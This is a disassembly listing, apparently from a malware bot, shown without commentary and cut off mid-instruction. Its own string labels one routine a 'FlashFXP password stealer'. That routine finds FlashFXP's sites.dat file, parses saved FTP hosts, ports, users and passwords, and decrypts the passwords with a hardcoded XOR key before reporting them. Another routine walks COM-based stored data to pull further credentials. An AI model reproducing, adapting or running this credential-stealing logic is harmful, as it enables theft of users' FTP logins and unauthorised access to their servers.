1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D138 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call ds:dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call ds:dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call ds:dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; strcpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call ds:dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; strcat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D308 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D300 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D2D4 ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D268 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call ds:dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D22C lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DE80 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D598 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D564 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D560 ; "%x" lea eax, [ebp-0A48h] push eax call ds:dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D598 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D598 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call ds:dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: .data:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D598 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset aS ; "%s" lea eax, [ebp-9FCh] push eax call ds:dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DE30 lea eax, [ebp-7FCh] push eax call ds:dword_4170FC ; lstrcpyA push offset byte_41DE30 lea eax, [ebp-0DF0h] push eax call ds:dword_4170FC ; lstrcpyA push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmpA test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D510 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmpA test eax, eax jnz loc_4155CE push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpyA push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpyA push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D4AC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmpA test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call ds:dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, 